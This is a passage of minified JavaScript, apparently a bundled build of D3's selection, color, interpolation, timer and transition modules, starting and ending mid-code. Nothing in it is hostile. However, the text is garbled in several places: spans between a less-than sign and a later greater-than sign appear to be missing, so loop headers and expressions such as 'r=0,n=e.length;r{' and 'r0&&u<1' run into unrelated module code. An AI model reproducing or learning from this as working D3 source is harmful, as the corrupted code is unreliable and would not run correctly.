e=this._groups,r=0,n=e.length;r{"use strict";o(S8,"default")});function sEe(t){return function(){this.removeAttribute(t)}}function oEe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function lEe(t,e){return function(){this.setAttribute(t,e)}}function cEe(t,e){return function(){this.setAttributeNS(t.space,t.local,e)}}function uEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttribute(t):this.setAttribute(t,r)}}function hEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttributeNS(t.space,t.local):this.setAttributeNS(t.space,t.local,r)}}function C8(t,e){var r=sc(t);if(arguments.length<2){var n=this.node();return r.local?n.getAttributeNS(r.space,r.local):n.getAttribute(r)}return this.each((e==null?r.local?oEe:sEe:typeof e=="function"?r.local?hEe:uEe:r.local?cEe:lEe)(r,e))}var XH=N(()=>{"use strict";J3();o(sEe,"attrRemove");o(oEe,"attrRemoveNS");o(lEe,"attrConstant");o(cEe,"attrConstantNS");o(uEe,"attrFunction");o(hEe,"attrFunctionNS");o(C8,"default")});function dv(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView}var A8=N(()=>{"use strict";o(dv,"default")});function fEe(t){return function(){this.style.removeProperty(t)}}function dEe(t,e,r){return function(){this.style.setProperty(t,e,r)}}function pEe(t,e,r){return function(){var n=e.apply(this,arguments);n==null?this.style.removeProperty(t):this.style.setProperty(t,n,r)}}function _8(t,e,r){return arguments.length>1?this.each((e==null?fEe:typeof e=="function"?pEe:dEe)(t,e,r??"")):_h(this.node(),t)}function _h(t,e){return t.style.getPropertyValue(e)||dv(t).getComputedStyle(t,null).getPropertyValue(e)}var D8=N(()=>{"use strict";A8();o(fEe,"styleRemove");o(dEe,"styleConstant");o(pEe,"styleFunction");o(_8,"default");o(_h,"styleValue")});function mEe(t){return function(){delete this[t]}}function gEe(t,e){return function(){this[t]=e}}function yEe(t,e){return function(){var r=e.apply(this,arguments);r==null?delete this[t]:this[t]=r}}function L8(t,e){return arguments.length>1?this.each((e==null?mEe:typeof e=="function"?yEe:gEe)(t,e)):this.node()[t]}var jH=N(()=>{"use strict";o(mEe,"propertyRemove");o(gEe,"propertyConstant");o(yEe,"propertyFunction");o(L8,"default")});function KH(t){return t.trim().split(/^|\s+/)}function R8(t){return t.classList||new QH(t)}function QH(t){this._node=t,this._names=KH(t.getAttribute("class")||"")}function ZH(t,e){for(var r=R8(t),n=-1,i=e.length;++n{"use strict";o(KH,"classArray");o(R8,"classList");o(QH,"ClassList");QH.prototype={add:o(function(t){var e=this._names.indexOf(t);e<0&&(this._names.push(t),this._node.setAttribute("class",this._names.join(" ")))},"add"),remove:o(function(t){var e=this._names.indexOf(t);e>=0&&(this._names.splice(e,1),this._node.setAttribute("class",this._names.join(" ")))},"remove"),contains:o(function(t){return this._names.indexOf(t)>=0},"contains")};o(ZH,"classedAdd");o(JH,"classedRemove");o(vEe,"classedTrue");o(xEe,"classedFalse");o(bEe,"classedFunction");o(N8,"default")});function TEe(){this.textContent=""}function wEe(t){return function(){this.textContent=t}}function kEe(t){return function(){var e=t.apply(this,arguments);this.textContent=e??""}}function M8(t){return arguments.length?this.each(t==null?TEe:(typeof t=="function"?kEe:wEe)(t)):this.node().textContent}var tq=N(()=>{"use strict";o(TEe,"textRemove");o(wEe,"textConstant");o(kEe,"textFunction");o(M8,"default")});function EEe(){this.innerHTML=""}function SEe(t){return function(){this.innerHTML=t}}function CEe(t){return function(){var e=t.apply(this,arguments);this.innerHTML=e??""}}function I8(t){return arguments.length?this.each(t==null?EEe:(typeof t=="function"?CEe:SEe)(t)):this.node().innerHTML}var rq=N(()=>{"use strict";o(EEe,"htmlRemove");o(SEe,"htmlConstant");o(CEe,"htmlFunction");o(I8,"default")});function AEe(){this.nextSibling&&this.parentNode.appendChild(this)}function O8(){return this.each(AEe)}var nq=N(()=>{"use strict";o(AEe,"raise");o(O8,"default")});function _Ee(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function P8(){return this.each(_Ee)}var iq=N(()=>{"use strict";o(_Ee,"lower");o(P8,"default")});function B8(t){var e=typeof t=="function"?t:cv(t);return this.select(function(){return this.appendChild(e.apply(this,arguments))})}var aq=N(()=>{"use strict";r8();o(B8,"default")});function DEe(){return null}function F8(t,e){var r=typeof t=="function"?t:cv(t),n=e==null?DEe:typeof e=="function"?e:Ah(e);return this.select(function(){return this.insertBefore(r.apply(this,arguments),n.apply(this,arguments)||null)})}var sq=N(()=>{"use strict";r8();e5();o(DEe,"constantNull");o(F8,"default")});function LEe(){var t=this.parentNode;t&&t.removeChild(this)}function $8(){return this.each(LEe)}var oq=N(()=>{"use strict";o(LEe,"remove");o($8,"default")});function REe(){var t=this.cloneNode(!1),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function NEe(){var t=this.cloneNode(!0),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function z8(t){return this.select(t?NEe:REe)}var lq=N(()=>{"use strict";o(REe,"selection_cloneShallow");o(NEe,"selection_cloneDeep");o(z8,"default")});function G8(t){return arguments.length?this.property("__data__",t):this.node().__data__}var cq=N(()=>{"use strict";o(G8,"default")});function MEe(t){return function(e){t.call(this,e,this.__data__)}}function IEe(t){return t.trim().split(/^|\s+/).map(function(e){var r="",n=e.indexOf(".");return n>=0&&(r=e.slice(n+1),e=e.slice(0,n)),{type:e,name:r}})}function OEe(t){return function(){var e=this.__on;if(e){for(var r=0,n=-1,i=e.length,a;r{"use strict";o(MEe,"contextListener");o(IEe,"parseTypenames");o(OEe,"onRemove");o(PEe,"onAdd");o(V8,"default")});function hq(t,e,r){var n=dv(t),i=n.CustomEvent;typeof i=="function"?i=new i(e,r):(i=n.document.createEvent("Event"),r?(i.initEvent(e,r.bubbles,r.cancelable),i.detail=r.detail):i.initEvent(e,!1,!1)),t.dispatchEvent(i)}function BEe(t,e){return function(){return hq(this,t,e)}}function FEe(t,e){return function(){return hq(this,t,e.apply(this,arguments))}}function U8(t,e){return this.each((typeof e=="function"?FEe:BEe)(t,e))}var fq=N(()=>{"use strict";A8();o(hq,"dispatchEvent");o(BEe,"dispatchConstant");o(FEe,"dispatchFunction");o(U8,"default")});function*H8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(H8,"default")});function ui(t,e){this._groups=t,this._parents=e}function pq(){return new ui([[document.documentElement]],q8)}function $Ee(){return this}var q8,yu,gl=N(()=>{"use strict";DH();RH();NH();MH();IH();PH();f8();BH();FH();$H();zH();GH();VH();UH();HH();qH();WH();YH();XH();D8();jH();eq();tq();rq();nq();iq();aq();sq();oq();lq();cq();uq();fq();dq();q8=[null];o(ui,"Selection");o(pq,"selection");o($Ee,"selection_selection");ui.prototype=pq.prototype={constructor:ui,select:n8,selectAll:s8,selectChild:o8,selectChildren:l8,filter:c8,data:p8,enter:h8,exit:m8,join:g8,merge:y8,selection:$Ee,order:v8,sort:x8,call:b8,nodes:T8,node:w8,size:k8,empty:E8,each:S8,attr:C8,style:_8,property:L8,classed:N8,text:M8,html:I8,raise:O8,lower:P8,append:B8,insert:F8,remove:$8,clone:z8,datum:G8,on:V8,dispatch:U8,[Symbol.iterator]:H8};yu=pq});function qe(t){return typeof t=="string"?new ui([[document.querySelector(t)]],[document.documentElement]):new ui([[t]],q8)}var mq=N(()=>{"use strict";gl();o(qe,"default")});var yl=N(()=>{"use strict";uv();J3();mq();gl();e5();a8();D8()});var gq=N(()=>{"use strict"});function Dh(t,e,r){t.prototype=e.prototype=r,r.constructor=t}function M0(t,e){var r=Object.create(t.prototype);for(var n in e)r[n]=e[n];return r}var W8=N(()=>{"use strict";o(Dh,"default");o(M0,"extend")});function Lh(){}function vq(){return this.rgb().formatHex()}function YEe(){return this.rgb().formatHex8()}function XEe(){return Sq(this).formatHsl()}function xq(){return this.rgb().formatRgb()}function xl(t){var e,r;return t=(t+"").trim().toLowerCase(),(e=zEe.exec(t))?(r=e[1].length,e=parseInt(e[1],16),r===6?bq(e):r===3?new oa(e>>8&15|e>>4&240,e>>4&15|e&240,(e&15)<<4|e&15,1):r===8?r5(e>>24&255,e>>16&255,e>>8&255,(e&255)/255):r===4?r5(e>>12&15|e>>8&240,e>>8&15|e>>4&240,e>>4&15|e&240,((e&15)<<4|e&15)/255):null):(e=GEe.exec(t))?new oa(e[1],e[2],e[3],1):(e=VEe.exec(t))?new oa(e[1]*255/100,e[2]*255/100,e[3]*255/100,1):(e=UEe.exec(t))?r5(e[1],e[2],e[3],e[4]):(e=HEe.exec(t))?r5(e[1]*255/100,e[2]*255/100,e[3]*255/100,e[4]):(e=qEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,1):(e=WEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,e[4]):yq.hasOwnProperty(t)?bq(yq[t]):t==="transparent"?new oa(NaN,NaN,NaN,0):null}function bq(t){return new oa(t>>16&255,t>>8&255,t&255,1)}function r5(t,e,r,n){return n<=0&&(t=e=r=NaN),new oa(t,e,r,n)}function X8(t){return t instanceof Lh||(t=xl(t)),t?(t=t.rgb(),new oa(t.r,t.g,t.b,t.opacity)):new oa}function O0(t,e,r,n){return arguments.length===1?X8(t):new oa(t,e,r,n??1)}function oa(t,e,r,n){this.r=+t,this.g=+e,this.b=+r,this.opacity=+n}function Tq(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}`}function jEe(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}${wd((isNaN(this.opacity)?1:this.opacity)*255)}`}function wq(){let t=a5(this.opacity);return`${t===1?"rgb(":"rgba("}${kd(this.r)}, ${kd(this.g)}, ${kd(this.b)}${t===1?")":`, ${t})`}`}function a5(t){return isNaN(t)?1:Math.max(0,Math.min(1,t))}function kd(t){return Math.max(0,Math.min(255,Math.round(t)||0))}function wd(t){return t=kd(t),(t<16?"0":"")+t.toString(16)}function kq(t,e,r,n){return n<=0?t=e=r=NaN:r<=0||r>=1?t=e=NaN:e<=0&&(t=NaN),new vl(t,e,r,n)}function Sq(t){if(t instanceof vl)return new vl(t.h,t.s,t.l,t.opacity);if(t instanceof Lh||(t=xl(t)),!t)return new vl;if(t instanceof vl)return t;t=t.rgb();var e=t.r/255,r=t.g/255,n=t.b/255,i=Math.min(e,r,n),a=Math.max(e,r,n),s=NaN,l=a-i,u=(a+i)/2;return l?(e===a?s=(r-n)/l+(r0&&u<1?0:s,new vl(s,l,u,t.opacity)}function Cq(t,e,r,n){return arguments.length===1?Sq(t):new vl(t,e,r,n??1)}function vl(t,e,r,n){this.h=+t,this.s=+e,this.l=+r,this.opacity=+n}function Eq(t){return t=(t||0)%360,t<0?t+360:t}function n5(t){return Math.max(0,Math.min(1,t||0))}function Y8(t,e,r){return(t<60?e+(r-e)*t/60:t<180?r:t<240?e+(r-e)*(240-t)/60:e)*255}var pv,i5,I0,mv,oc,zEe,GEe,VEe,UEe,HEe,qEe,WEe,yq,j8=N(()=>{"use strict";W8();o(Lh,"Color");pv=.7,i5=1/pv,I0="\\s*([+-]?\\d+)\\s*",mv="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)\\s*",oc="\\s*([+-]?(?:\\d*\\.)?\\d+(?:[eE][+-]?\\d+)?)%\\s*",zEe=/^#([0-9a-f]{3,8})$/,GEe=new RegExp(`^rgb\\(${I0},${I0},${I0}\\)$`),VEe=new RegExp(`^rgb\\(${oc},${oc},${oc}\\)$`),UEe=new RegExp(`^rgba\\(${I0},${I0},${I0},${mv}\\)$`),HEe=new RegExp(`^rgba\\(${oc},${oc},${oc},${mv}\\)$`),qEe=new RegExp(`^hsl\\(${mv},${oc},${oc}\\)$`),WEe=new RegExp(`^hsla\\(${mv},${oc},${oc},${mv}\\)$`),yq={aliceblue:15792383,antiquewhite:16444375,aqua:65535,aquamarine:8388564,azure:15794175,beige:16119260,bisque:16770244,black:0,blanchedalmond:16772045,blue:255,blueviolet:9055202,brown:10824234,burlywood:14596231,cadetblue:6266528,chartreuse:8388352,chocolate:13789470,coral:16744272,cornflowerblue:6591981,cornsilk:16775388,crimson:14423100,cyan:65535,darkblue:139,darkcyan:35723,darkgoldenrod:12092939,darkgray:11119017,darkgreen:25600,darkgrey:11119017,darkkhaki:12433259,darkmagenta:9109643,darkolivegreen:5597999,darkorange:16747520,darkorchid:10040012,darkred:9109504,darksalmon:15308410,darkseagreen:9419919,darkslateblue:4734347,darkslategray:3100495,darkslategrey:3100495,darkturquoise:52945,darkviolet:9699539,deeppink:16716947,deepskyblue:49151,dimgray:6908265,dimgrey:6908265,dodgerblue:2003199,firebrick:11674146,floralwhite:16775920,forestgreen:2263842,fuchsia:16711935,gainsboro:14474460,ghostwhite:16316671,gold:16766720,goldenrod:14329120,gray:8421504,green:32768,greenyellow:11403055,grey:8421504,honeydew:15794160,hotpink:16738740,indianred:13458524,indigo:4915330,ivory:16777200,khaki:15787660,lavender:15132410,lavenderblush:16773365,lawngreen:8190976,lemonchiffon:16775885,lightblue:11393254,lightcoral:15761536,lightcyan:14745599,lightgoldenrodyellow:16448210,lightgray:13882323,lightgreen:9498256,lightgrey:13882323,lightpink:16758465,lightsalmon:16752762,lightseagreen:2142890,lightskyblue:8900346,lightslategray:7833753,lightslategrey:7833753,lightsteelblue:11584734,lightyellow:16777184,lime:65280,limegreen:3329330,linen:16445670,magenta:16711935,maroon:8388608,mediumaquamarine:6737322,mediumblue:205,mediumorchid:12211667,mediumpurple:9662683,mediumseagreen:3978097,mediumslateblue:8087790,mediumspringgreen:64154,mediumturquoise:4772300,mediumvioletred:13047173,midnightblue:1644912,mintcream:16121850,mistyrose:16770273,moccasin:16770229,navajowhite:16768685,navy:128,oldlace:16643558,olive:8421376,olivedrab:7048739,orange:16753920,orangered:16729344,orchid:14315734,palegoldenrod:15657130,palegreen:10025880,paleturquoise:11529966,palevioletred:14381203,papayawhip:16773077,peachpuff:16767673,peru:13468991,pink:16761035,plum:14524637,powderblue:11591910,purple:8388736,rebeccapurple:6697881,red:16711680,rosybrown:12357519,royalblue:4286945,saddlebrown:9127187,salmon:16416882,sandybrown:16032864,seagreen:3050327,seashell:16774638,sienna:10506797,silver:12632256,skyblue:8900331,slateblue:6970061,slategray:7372944,slategrey:7372944,snow:16775930,springgreen:65407,steelblue:4620980,tan:13808780,teal:32896,thistle:14204888,tomato:16737095,turquoise:4251856,violet:15631086,wheat:16113331,white:16777215,whitesmoke:16119285,yellow:16776960,yellowgreen:10145074};Dh(Lh,xl,{copy(t){return Object.assign(new this.constructor,this,t)},displayable(){return this.rgb().displayable()},hex:vq,formatHex:vq,formatHex8:YEe,formatHsl:XEe,formatRgb:xq,toString:xq});o(vq,"color_formatHex");o(YEe,"color_formatHex8");o(XEe,"color_formatHsl");o(xq,"color_formatRgb");o(xl,"color");o(bq,"rgbn");o(r5,"rgba");o(X8,"rgbConvert");o(O0,"rgb");o(oa,"Rgb");Dh(oa,O0,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new oa(this.r*t,this.g*t,this.b*t,this.opacity)},rgb(){return this},clamp(){return new oa(kd(this.r),kd(this.g),kd(this.b),a5(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:Tq,formatHex:Tq,formatHex8:jEe,formatRgb:wq,toString:wq}));o(Tq,"rgb_formatHex");o(jEe,"rgb_formatHex8");o(wq,"rgb_formatRgb");o(a5,"clampa");o(kd,"clampi");o(wd,"hex");o(kq,"hsla");o(Sq,"hslConvert");o(Cq,"hsl");o(vl,"Hsl");Dh(vl,Cq,M0(Lh,{brighter(t){return t=t==null?i5:Math.pow(i5,t),new vl(this.h,this.s,this.l*t,this.opacity)},darker(t){return t=t==null?pv:Math.pow(pv,t),new vl(this.h,this.s,this.l*t,this.opacity)},rgb(){var t=this.h%360+(this.h<0)*360,e=isNaN(t)||isNaN(this.s)?0:this.s,r=this.l,n=r+(r<.5?r:1-r)*e,i=2*r-n;return new oa(Y8(t>=240?t-240:t+120,i,n),Y8(t,i,n),Y8(t<120?t+240:t-120,i,n),this.opacity)},clamp(){return new vl(Eq(this.h),n5(this.s),n5(this.l),a5(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){let t=a5(this.opacity);return`${t===1?"hsl(":"hsla("}${Eq(this.h)}, ${n5(this.s)*100}%, ${n5(this.l)*100}%${t===1?")":`, ${t})`}`}}));o(Eq,"clamph");o(n5,"clampt");o(Y8,"hsl2rgb")});var Aq,_q,Dq=N(()=>{"use strict";Aq=Math.PI/180,_q=180/Math.PI});function Oq(t){if(t instanceof lc)return new lc(t.l,t.a,t.b,t.opacity);if(t instanceof vu)return Pq(t);t instanceof oa||(t=X8(t));var e=J8(t.r),r=J8(t.g),n=J8(t.b),i=K8((.2225045*e+.7168786*r+.0606169*n)/Rq),a,s;return e===r&&r===n?a=s=i:(a=K8((.4360747*e+.3850649*r+.1430804*n)/Lq),s=K8((.0139322*e+.0971045*r+.7141733*n)/Nq)),new lc(116*i-16,500*(a-i),200*(i-s),t.opacity)}function e_(t,e,r,n){return arguments.length===1?Oq(t):new lc(t,e,r,n??1)}function lc(t,e,r,n){this.l=+t,this.a=+e,this.b=+r,this.opacity=+n}function K8(t){return t>KEe?Math.pow(t,1/3):t/Iq+Mq}function Q8(t){return t>P0?t*t*t:Iq*(t-Mq)}function Z8(t){return 255*(t<=.0031308?12.92*t:1.055*Math.pow(t,1/2.4)-.055)}function J8(t){return(t/=255)<=.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)}function QEe(t){if(t instanceof vu)return new vu(t.h,t.c,t.l,t.opacity);if(t instanceof lc||(t=Oq(t)),t.a===0&&t.b===0)return new vu(NaN,0{"use strict";W8();j8();Dq();s5=18,Lq=.96422,Rq=1,Nq=.82521,Mq=4/29,P0=6/29,Iq=3*P0*P0,KEe=P0*P0*P0;o(Oq,"labConvert");o(e_,"lab");o(lc,"Lab");Dh(lc,e_,M0(Lh,{brighter(t){return new lc(this.l+s5*(t??1),this.a,this.b,this.opacity)},darker(t){return new lc(this.l-s5*(t??1),this.a,this.b,this.opacity)},rgb(){var t=(this.l+16)/116,e=isNaN(this.a)?t:t+this.a/500,r=isNaN(this.b)?t:t-this.b/200;return e=Lq*Q8(e),t=Rq*Q8(t),r=Nq*Q8(r),new oa(Z8(3.1338561*e-1.6168667*t-.4906146*r),Z8(-.9787684*e+1.9161415*t+.033454*r),Z8(.0719453*e-.2289914*t+1.4052427*r),this.opacity)}}));o(K8,"xyz2lab");o(Q8,"lab2xyz");o(Z8,"lrgb2rgb");o(J8,"rgb2lrgb");o(QEe,"hclConvert");o(gv,"hcl");o(vu,"Hcl");o(Pq,"hcl2lab");Dh(vu,gv,M0(Lh,{brighter(t){return new vu(this.h,this.c,this.l+s5*(t??1),this.opacity)},darker(t){return new vu(this.h,this.c,this.l-s5*(t??1),this.opacity)},rgb(){return Pq(this).rgb()}}))});var B0=N(()=>{"use strict";j8();Bq()});function t_(t,e,r,n,i){var a=t*t,s=a*t;return((1-3*t+3*a-s)*e+(4-6*a+3*s)*r+(1+3*t+3*a-3*s)*n+s*i)/6}function r_(t){var e=t.length-1;return function(r){var n=r<=0?r=0:r>=1?(r=1,e-1):Math.floor(r*e),i=t[n],a=t[n+1],s=n>0?t[n-1]:2*i-a,l=n{"use strict";o(t_,"basis");o(r_,"default")});function i_(t){var e=t.length;return function(r){var n=Math.floor(((r%=1)<0?++r:r)*e),i=t[(n+e-1)%e],a=t[n%e],s=t[(n+1)%e],l=t[(n+2)%e];return t_((r-n/e)*e,i,a,s,l)}}var Fq=N(()=>{"use strict";n_();o(i_,"default")});var F0,a_=N(()=>{"use strict";F0=o(t=>()=>t,"default")});function $q(t,e){return function(r){return t+r*e}}function ZEe(t,e,r){return t=Math.pow(t,r),e=Math.pow(e,r)-t,r=1/r,function(n){return Math.pow(t+n*e,r)}}function zq(t,e){var r=e-t;return r?$q(t,r>180||r<-180?r-360*Math.round(r/360):r):F0(isNaN(t)?e:t)}function Gq(t){return(t=+t)==1?xu:function(e,r){return r-e?ZEe(e,r,t):F0(isNaN(e)?r:e)}}function xu(t,e){var r=e-t;return r?$q(t,r):F0(isNaN(t)?e:t)}var s_=N(()=>{"use strict";a_();o($q,"linear");o(ZEe,"exponential");o(zq,"hue");o(Gq,"gamma");o(xu,"nogamma")});function Vq(t){return function(e){var r=e.length,n=new Array(r),i=new Array(r),a=new Array(r),s,l;for(s=0;s{"use strict";B0();n_();Fq();s_();Ed=o((function t(e){var r=Gq(e);function n(i,a){var s=r((i=O0(i)).r,(a=O0(a)).r),l=r(i.g,a.g),u=r(i.b,a.b),h=xu(i.opacity,a.opacity);return function(f){return i.r=s(f),i.g=l(f),i.b=u(f),i.opacity=h(f),i+""}}return o(n,"rgb"),n.gamma=t,n}),"rgbGamma")(1);o(Vq,"rgbSpline");JEe=Vq(r_),eSe=Vq(i_)});function l_(t,e){e||(e=[]);var r=t?Math.min(e.length,t.length):0,n=e.slice(),i;return function(a){for(i=0;i{"use strict";o(l_,"default");o(Uq,"isNumberArray")});function qq(t,e){var r=e?e.length:0,n=t?Math.min(r,t.length):0,i=new Array(n),a=new Array(r),s;for(s=0;s{"use strict";o5();o(qq,"genericArray")});function c_(t,e){var r=new Date;return t=+t,e=+e,function(n){return r.setTime(t*(1-n)+e*n),r}}var Yq=N(()=>{"use strict";o(c_,"default")});function Wi(t,e){return t=+t,e=+e,function(r){return t*(1-r)+e*r}}var yv=N(()=>{"use strict";o(Wi,"default")});function u_(t,e){var r={},n={},i;(t===null||typeof t!="object")&&(t={}),(e===null||typeof e!="object")&&(e={});for(i in e)i in t?r[i]=Rh(t[i],e[i]):n[i]=e[i];return function(a){for(i in r)n[i]=r[i](a);return n}}var Xq=N(()=>{"use strict";o5();o(u_,"default")});function tSe(t){return function(){return t}}function rSe(t){return function(e){return t(e)+""}}function $0(t,e){var r=f_.lastIndex=h_.lastIndex=0,n,i,a,s=-1,l=[],u=[];for(t=t+"",e=e+"";(n=f_.exec(t))&&(i=h_.exec(e));)(a=i.index)>r&&(a=e.slice(r,a),l[s]?l[s]+=a:l[++s]=a),(n=n[0])===(i=i[0])?l[s]?l[s]+=i:l[++s]=i:(l[++s]=null,u.push({i:s,x:Wi(n,i)})),r=h_.lastIndex;return r{"use strict";yv();f_=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,h_=new RegExp(f_.source,"g");o(tSe,"zero");o(rSe,"one");o($0,"default")});function Rh(t,e){var r=typeof e,n;return e==null||r==="boolean"?F0(e):(r==="number"?Wi:r==="string"?(n=xl(e))?(e=n,Ed):$0:e instanceof xl?Ed:e instanceof Date?c_:Uq(e)?l_:Array.isArray(e)?qq:typeof e.valueOf!="function"&&typeof e.toString!="function"||isNaN(e)?u_:Wi)(t,e)}var o5=N(()=>{"use strict";B0();o_();Wq();Yq();yv();Xq();d_();a_();Hq();o(Rh,"default")});function l5(t,e){return t=+t,e=+e,function(r){return Math.round(t*(1-r)+e*r)}}var jq=N(()=>{"use strict";o(l5,"default")});function u5(t,e,r,n,i,a){var s,l,u;return(s=Math.sqrt(t*t+e*e))&&(t/=s,e/=s),(u=t*r+e*n)&&(r-=t*u,n-=e*u),(l=Math.sqrt(r*r+n*n))&&(r/=l,n/=l,u/=l),t*n{"use strict";Kq=180/Math.PI,c5={translateX:0,translateY:0,rotate:0,skewX:0,scaleX:1,scaleY:1};o(u5,"default")});function Zq(t){let e=new(typeof DOMMatrix=="function"?DOMMatrix:WebKitCSSMatrix)(t+"");return e.isIdentity?c5:u5(e.a,e.b,e.c,e.d,e.e,e.f)}function Jq(t){return t==null?c5:(h5||(h5=document.createElementNS("http://www.w3.org/2000/svg","g")),h5.setAttribute("transform",t),(t=h5.transform.baseVal.consolidate())?(t=t.matrix,u5(t.a,t.b,t.c,t.d,t.e,t.f)):c5)}var h5,eW=N(()=>{"use strict";Qq();o(Zq,"parseCss");o(Jq,"parseSvg")});function tW(t,e,r,n){function i(h){return h.length?h.pop()+" ":""}o(i,"pop");function a(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push("translate(",null,e,null,r);g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d||p)&&m.push("translate("+d+e+p+r)}o(a,"translate");function s(h,f,d,p){h!==f?(h-f>180?f+=360:f-h>180&&(h+=360),p.push({i:d.push(i(d)+"rotate(",null,n)-2,x:Wi(h,f)})):f&&d.push(i(d)+"rotate("+f+n)}o(s,"rotate");function l(h,f,d,p){h!==f?p.push({i:d.push(i(d)+"skewX(",null,n)-2,x:Wi(h,f)}):f&&d.push(i(d)+"skewX("+f+n)}o(l,"skewX");function u(h,f,d,p,m,g){if(h!==d||f!==p){var y=m.push(i(m)+"scale(",null,",",null,")");g.push({i:y-4,x:Wi(h,d)},{i:y-2,x:Wi(f,p)})}else(d!==1||p!==1)&&m.push(i(m)+"scale("+d+","+p+")")}return o(u,"scale"),function(h,f){var d=[],p=[];return h=t(h),f=t(f),a(h.translateX,h.translateY,f.translateX,f.translateY,d,p),s(h.rotate,f.rotate,d,p),l(h.skewX,f.skewX,d,p),u(h.scaleX,h.scaleY,f.scaleX,f.scaleY,d,p),h=f=null,function(m){for(var g=-1,y=p.length,v;++g{"use strict";yv();eW();o(tW,"interpolateTransform");p_=tW(Zq,"px, ","px)","deg)"),m_=tW(Jq,", ",")",")")});function nW(t){return function(e,r){var n=t((e=gv(e)).h,(r=gv(r)).h),i=xu(e.c,r.c),a=xu(e.l,r.l),s=xu(e.opacity,r.opacity);return function(l){return e.h=n(l),e.c=i(l),e.l=a(l),e.opacity=s(l),e+""}}}var g_,nSe,iW=N(()=>{"use strict";B0();s_();o(nW,"hcl");g_=nW(zq),nSe=nW(xu)});var z0=N(()=>{"use strict";o5();yv();jq();d_();rW();o_();iW()});function kv(){return Sd||(oW(iSe),Sd=Tv.now()+p5)}function iSe(){Sd=0}function wv(){this._call=this._time=this._next=null}function m5(t,e,r){var n=new wv;return n.restart(t,e,r),n}function lW(){kv(),++G0;for(var t=f5,e;t;)(e=Sd-t._time)>=0&&t._call.call(void 0,e),t=t._next;--G0}function aW(){Sd=(d5=Tv.now())+p5,G0=xv=0;try{lW()}finally{G0=0,sSe(),Sd=0}}function aSe(){var t=Tv.now(),e=t-d5;e>sW&&(p5-=e,d5=t)}function sSe(){for(var t,e=f5,r,n=1/0;e;)e._call?(n>e._time&&(n=e._time),t=e,e=e._next):(r=e._next,e._next=null,e=t?t._next=r:f5=r);bv=t,y_(n)}function y_(t){if(!G0){xv&&(xv=clearTimeout(xv));var e=t-Sd;e>24?(t<1/0&&(xv=setTimeout(aW,t-Tv.now()-p5)),vv&&(vv=clearInterval(vv))):(vv||(d5=Tv.now(),vv=setInterval(aSe,sW)),G0=1,oW(aW))}}var G0,xv,vv,sW,f5,bv,d5,Sd,p5,Tv,oW,v_=N(()=>{"use strict";G0=0,xv=0,vv=0,sW=1e3,d5=0,Sd=0,p5=0,Tv=typeof performance=="object"&&performance.now?performance:Date,oW=typeof window=="object"&&window.requestAnimationFrame?window.requestAnimationFrame.bind(window):function(t){setTimeout(t,17)};o(kv,"now");o(iSe,"clearNow");o(wv,"Timer");wv.prototype=m5.prototype={constructor:wv,restart:o(function(t,e,r){if(typeof t!="function")throw new TypeError("callback is not a function");r=(r==null?kv():+r)+(e==null?0:+e),!this._next&&bv!==this&&(bv?bv._next=this:f5=this,bv=this),this._call=t,this._time=r,y_()},"restart"),stop:o(function(){this._call&&(this._call=null,this._time=1/0,y_())},"stop")};o(m5,"timer");o(lW,"timerFlush");o(aW,"wake");o(aSe,"poke");o(sSe,"nap");o(y_,"sleep")});function Ev(t,e,r){var n=new wv;return e=e==null?0:+e,n.restart(i=>{n.stop(),t(i+e)},e,r),n}var cW=N(()=>{"use strict";v_();o(Ev,"default")});var g5=N(()=>{"use strict";v_();cW()});function bu(t,e,r,n,i,a){var s=t.__transition;if(!s)t.__transition={};else if(r in s)return;cSe(t,r,{name:e,index:n,group:i,on:oSe,tween:lSe,time:a.time,delay:a.delay,duration:a.duration,ease:a.ease,timer:null,state:fW})}function Cv(t,e){var r=Oi(t,e);if(r.state>fW)throw new Error("too late; already scheduled");return r}function la(t,e){var r=Oi(t,e);if(r.state>y5)throw new Error("too late; already running");return r}function Oi(t,e){var r=t.__transition;if(!r||!(r=r[e]))throw new Error("transition not found");return r}function cSe(t,e,r){var n=t.__transition,i;n[e]=r,r.timer=m5(a,0,r.time);function a(h){r.state=uW,r.timer.restart(s,r.delay,r.time),r.delay<=h&&s(h-r.delay)}o(a,"schedule");function s(h){var f,d,p,m;if(r.state!==uW)return u();for(f in n)if(m=n[f],m.name===r.name){if(m.state===y5)return Ev(s);m.state===hW?(m.state=Sv,m.timer.stop(),m.on.call("interrupt",t,t.__data__,m.index,m.group),delete n[f]):+f{"use strict";JA();g5();oSe=ZA("start","end","cancel","interrupt"),lSe=[],fW=0,uW=1,v5=2,y5=3,hW=4,x5=5,Sv=6;o(bu,"default");o(Cv,"init");o(la,"set");o(Oi,"get");o(cSe,"create")});function Av(t,e){var r=t.__transition,n,i,a=!0,s;if(r){e=e==null?null:e+"";for(s in r){if((n=r[s]).name!==e){a=!1;continue}i=n.state>v5&&n.state{"use strict";Ds();o(Av,"default")});function x_(t){return this.each(function(){Av(this,t)})}var pW=N(()=>{"use strict";dW();o(x_,"default")});function uSe(t,e){var r,n;return function(){var 